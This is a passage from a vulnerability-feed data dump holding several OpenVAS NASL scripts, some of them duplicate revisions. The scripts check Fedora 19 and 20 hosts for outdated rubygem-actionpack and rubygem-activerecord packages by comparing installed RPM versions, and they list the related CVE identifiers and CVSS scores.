Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.867824\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-05-26 12:56:20 +0530 (Mon, 26 May 2014)\");\n script_cve_id(\"CVE-2014-0130\", \"CVE-2014-0081\", \"CVE-2014-0082\", \"CVE-2013-4389\",\n \"CVE-2013-6417\", \"CVE-2013-4491\", \"CVE-2013-6415\", \"CVE-2013-6414\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for rubygem-actionpack FEDORA-2014-6127\");\n script_tag(name:\"affected\", value:\"rubygem-actionpack on Fedora 19\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2014-6127\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2014-May/133631.html\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'rubygem-actionpack'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC19\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC19\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-actionpack\", rpm:\"rubygem-actionpack~3.2.13~6.fc19\", rls:\"FC19\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:37:15", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2014-05-26T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-actionpack FEDORA-2014-6098", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4491", "CVE-2013-6416", "CVE-2013-6417", "CVE-2014-0130", "CVE-2013-6415", "CVE-2014-0081", "CVE-2013-6414"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310867818", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310867818", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-actionpack FEDORA-2014-6098\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.867818\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-05-26 10:18:14 +0530 (Mon, 26 May 2014)\");\n script_cve_id(\"CVE-2014-0130\", \"CVE-2014-0081\", \"CVE-2013-6414\", \"CVE-2013-6415\",\n \"CVE-2013-6416\", \"CVE-2013-6417\", \"CVE-2013-4491\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for rubygem-actionpack FEDORA-2014-6098\");\n script_tag(name:\"affected\", value:\"rubygem-actionpack on Fedora 20\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2014-6098\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2014-May/133620.html\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'rubygem-actionpack'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC20\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-actionpack\", rpm:\"rubygem-actionpack~4.0.0~4.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2017-07-25T10:48:41", "description": "Check for the Version of rubygem-activerecord", "cvss3": {}, "published": "2014-03-12T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-activerecord FEDORA-2014-3169", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0081", "CVE-2014-0080"], "modified": "2017-07-10T00:00:00", "id": "OPENVAS:867567", "href": "http://plugins.openvas.org/nasl.php?oid=867567", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-activerecord FEDORA-2014-3169\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\n\nif(description)\n{\n script_id(867567);\n script_version(\"$Revision: 6629 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:33:41 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2014-03-12 09:21:45 +0530 (Wed, 12 Mar 2014)\");\n script_cve_id(\"CVE-2014-0080\", \"CVE-2014-0081\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_name(\"Fedora Update for rubygem-activerecord FEDORA-2014-3169\");\n\n tag_insight = \"Implements the ActiveRecord pattern (Fowler, PoEAA) for ORM. It ties database\ntables and classes together for business objects, like Customer or\nSubscription, that can find, save, and destroy themselves without resorting to\nmanual SQL.\n\";\n\n tag_affected = \"rubygem-activerecord on Fedora 20\";\n\n tag_solution = \"Please Install the Updated Packages.\";\n\n\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name: \"FEDORA\", value: \"2014-3169\");\n script_xref(name: \"URL\" , value: \"https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129715.html\");\n script_summary(\"Check for the Version of rubygem-activerecord\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-activerecord\", rpm:\"rubygem-activerecord~4.0.0~2.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-05-29T18:37:39", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2014-03-12T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-activerecord FEDORA-2014-3169", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0081", "CVE-2014-0080"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310867567", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310867567", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-activerecord FEDORA-2014-3169\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.867567\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-03-12 09:21:45 +0530 (Wed, 12 Mar 2014)\");\n script_cve_id(\"CVE-2014-0080\", \"CVE-2014-0081\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_name(\"Fedora Update for rubygem-activerecord FEDORA-2014-3169\");\n script_tag(name:\"affected\", value:\"rubygem-activerecord on Fedora 20\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2014-3169\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129715.html\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'rubygem-activerecord'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC20\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-activerecord\", rpm:\"rubygem-activerecord~4.0.0~2.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:37:32", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2014-03-12T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-actionpack FEDORA-2014-3232", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4491", "CVE-2013-6417", "CVE-2013-4389", "CVE-2013-6415", "CVE-2014-0081", "CVE-2013-0155", "CVE-2014-0082", "CVE-2013-6414"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310867582", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310867582", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-actionpack FEDORA-2014-3232\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.867582\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-03-12 09:25:40 +0530 (Wed, 12 Mar 2014)\");\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\", \"CVE-2013-6417\", \"CVE-2013-0155\",\n \"CVE-2013-4491\", \"CVE-2013-6415\", \"CVE-2013-6414\", \"CVE-2013-4389\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for rubygem-actionpack FEDORA-2014-3232\");\n script_tag(name:\"affected\", value:\"rubygem-actionpack on Fedora 19\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2014-3232\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129854.html\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'rubygem-actionpack'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC19\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC19\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-actionpack\", rpm:\"rubygem-actionpack~3.2.13~5.fc19\", rls:\"FC19\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2017-07-25T10:48:20", "description": "Check for the Version of rubygem-actionpack", "cvss3": {}, "published": "2014-03-12T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-actionpack FEDORA-2014-3232", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4491", "CVE-2013-6417", "CVE-2013-4389", "CVE-2013-6415", "CVE-2014-0081", "CVE-2013-0155", "CVE-2014-0082", "CVE-2013-6414"], "modified": "2017-07-10T00:00:00", "id": "OPENVAS:867582", "href": "http://plugins.openvas.org/nasl.php?oid=867582", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-actionpack FEDORA-2014-3232\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\n\nif(description)\n{\n script_id(867582);\n script_version(\"$Revision: 6629 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:33:41 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2014-03-12 09:25:40 +0530 (Wed, 12 Mar 2014)\");\n script_cve_id(\"CVE-2014-0081\", \"CVE-2014-0082\", \"CVE-2013-6417\", \"CVE-2013-0155\",\n \"CVE-2013-4491\", \"CVE-2013-6415\", \"CVE-2013-6414\", \"CVE-2013-4389\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:N\");\n script_name(\"Fedora Update for rubygem-actionpack FEDORA-2014-3232\");\n\n tag_insight = \"Eases web-request routing, handling, and response as a half-way front,\nhalf-way page controller. Implemented with specific emphasis on enabling easy\nunit/integration testing that doesn't require a browser.\n\";\n\n tag_affected = \"rubygem-actionpack on Fedora 19\";\n\n tag_solution = \"Please Install the Updated Packages.\";\n\n\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name: \"FEDORA\", value: \"2014-3232\");\n script_xref(name: \"URL\" , value: \"https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129854.html\");\n script_summary(\"Check for the Version of rubygem-actionpack\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC19\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-actionpack\", rpm:\"rubygem-actionpack~3.2.13~5.fc19\", rls:\"FC19\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2019-05-29T18:36:44", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2015-03-06T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-actionpack FEDORA-2014-15371", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4491", "CVE-2014-7818", "CVE-2013-6416", "CVE-2013-6417", "CVE-2014-0130", "CVE-2013-6415", "CVE-2014-0081", "CVE-2014-7829", "CVE-2013-6414"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310869062", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310869062", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-actionpack FEDORA-2014-15371\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.869062\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-03-06 06:47:59 +0100 (Fri, 06 Mar 2015)\");\n script_cve_id(\"CVE-2014-7818\", \"CVE-2014-7829\", \"CVE-2014-0130\", \"CVE-2014-0081\",\n \"CVE-2013-6414\", \"CVE-2013-6415\", \"CVE-2013-6416\", \"CVE-2013-6417\",\n \"CVE-2013-4491\");\n script_tag(name:\"cvss_base\", value:\"6.4\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for rubygem-actionpack FEDORA-2014-15371\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'rubygem-actionpack'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"rubygem-actionpack on Fedora 20\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2014-15371\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2015-March/150832.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC20\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-actionpack\", rpm:\"rubygem-actionpack~4.0.0~5.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:37:44", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2014-03-12T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-actionpack FEDORA-2014-3169", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4491", "CVE-2013-6416", "CVE-2013-6417", "CVE-2013-6415", "CVE-2014-0081", "CVE-2014-0080", "CVE-2013-6414"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310867578", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310867578", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-actionpack FEDORA-2014-3169\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.867578\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-03-12 09:22:25 +0530 (Wed, 12 Mar 2014)\");\n script_cve_id(\"CVE-2014-0080\", \"CVE-2014-0081\", \"CVE-2013-6414\", \"CVE-2013-6415\",\n \"CVE-2013-6416\", \"CVE-2013-6417\", \"CVE-2013-4491\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_name(\"Fedora Update for rubygem-actionpack FEDORA-2014-3169\");\n script_tag(name:\"affected\", value:\"rubygem-actionpack on Fedora 20\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"FEDORA\", value:\"2014-3169\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129716.html\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'rubygem-actionpack'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC20\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-actionpack\", rpm:\"rubygem-actionpack~4.0.0~3.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2017-07-25T10:49:05", "description": "Check for the Version of rubygem-actionpack", "cvss3": {}, "published": "2014-03-12T00:00:00", "type": "openvas", "title": "Fedora Update for rubygem-actionpack FEDORA-2014-3169", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4491", "CVE-2013-6416", "CVE-2013-6417", "CVE-2013-6415", "CVE-2014-0081", "CVE-2014-0080", "CVE-2013-6414"], "modified": "2017-07-10T00:00:00", "id": "OPENVAS:867578", "href": "http://plugins.openvas.org/nasl.php?oid=867578", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for rubygem-actionpack FEDORA-2014-3169\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\n\nif(description)\n{\n script_id(867578);\n script_version(\"$Revision: 6629 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:33:41 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2014-03-12 09:22:25 +0530 (Wed, 12 Mar 2014)\");\n script_cve_id(\"CVE-2014-0080\", \"CVE-2014-0081\", \"CVE-2013-6414\", \"CVE-2013-6415\",\n \"CVE-2013-6416\", \"CVE-2013-6417\", \"CVE-2013-4491\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_name(\"Fedora Update for rubygem-actionpack FEDORA-2014-3169\");\n\n tag_insight = \"Eases web-request routing, handling, and response as a half-way front,\nhalf-way page controller. Implemented with specific emphasis on enabling easy\nunit/integration testing that doesn't require a browser.\n\";\n\n 